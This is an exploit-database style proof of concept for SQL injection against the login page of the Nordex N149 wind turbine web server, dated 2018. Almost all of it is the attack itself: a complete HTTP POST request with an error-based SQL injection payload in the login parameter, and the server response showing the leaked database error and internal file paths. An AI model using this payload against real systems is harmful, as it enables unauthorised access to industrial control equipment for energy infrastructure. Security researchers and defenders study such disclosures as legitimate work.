Nordex N149/4.0-4.5 Wind Turbine Web Server SQL Injection

` # Exploit Title: Nordex N149/4.0-4.5 Wind Turbine Web Server - SQL  
Injection  
# Date: 21-05-2018  
# Exploit Author: t4rkd3vilz  
# Vendor Homepage: http://www.nordex-online.com  
# Tested on: Windows  
# Version: N149/4.0-4.5 Wind Turbine  
# Category: webapps  
  
---> Proof Of Concept  
  
-------- > Request  
  
POST /php/login.php HTTP/1.1  
Cache-Control: no-cache  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/41.0.2272.16 Safari/537.36  
Accept: */*  
Referer: http://IpAdress// <http://ipadress//>  
X-Requested-With: XMLHttpRequest  
Accept-Language: en-us,en;q=0.5  
Host: IPAdress  
Accept-Encoding: gzip, deflate  
Content-Length: 304  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
login=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)  
%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)  
%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%  
2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+  
INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&password=3  
  
-------- > Response  
  
HTTP/1.1 200 OK  
Server: Apache  
Content-Length: 261  
X-Frame-Options: SAMEORIGIN  
Content-Type: text/html; charset=UTF-8  
Content-Encoding:  
Date: Wed, 16 May 2018 10:49:31 GMT  
Vary: Accept-Encoding  
  
<br />  
<b>Warning</b>: mysqli::query(): (23000/1062): Duplicate entry  
'_!@4dilemma:1' for key 'group_key' in <b>/share/HDA_DATA/Web/php/login.php</b>  
on line <b>46</b><br />  
<br />  
<b>Notice</b>: Trying to get property of non-object in  
<b>/share/HDA_DATA/Web/php/login.php</b> on line <b>47</b><br />  
FALSE<br />  
<b>Fatal error</b>: Call to a member function free() on boolean in  
<b>/share/HDA_DATA/Web/php/login.php</b> on line <b>67</b><br />  
`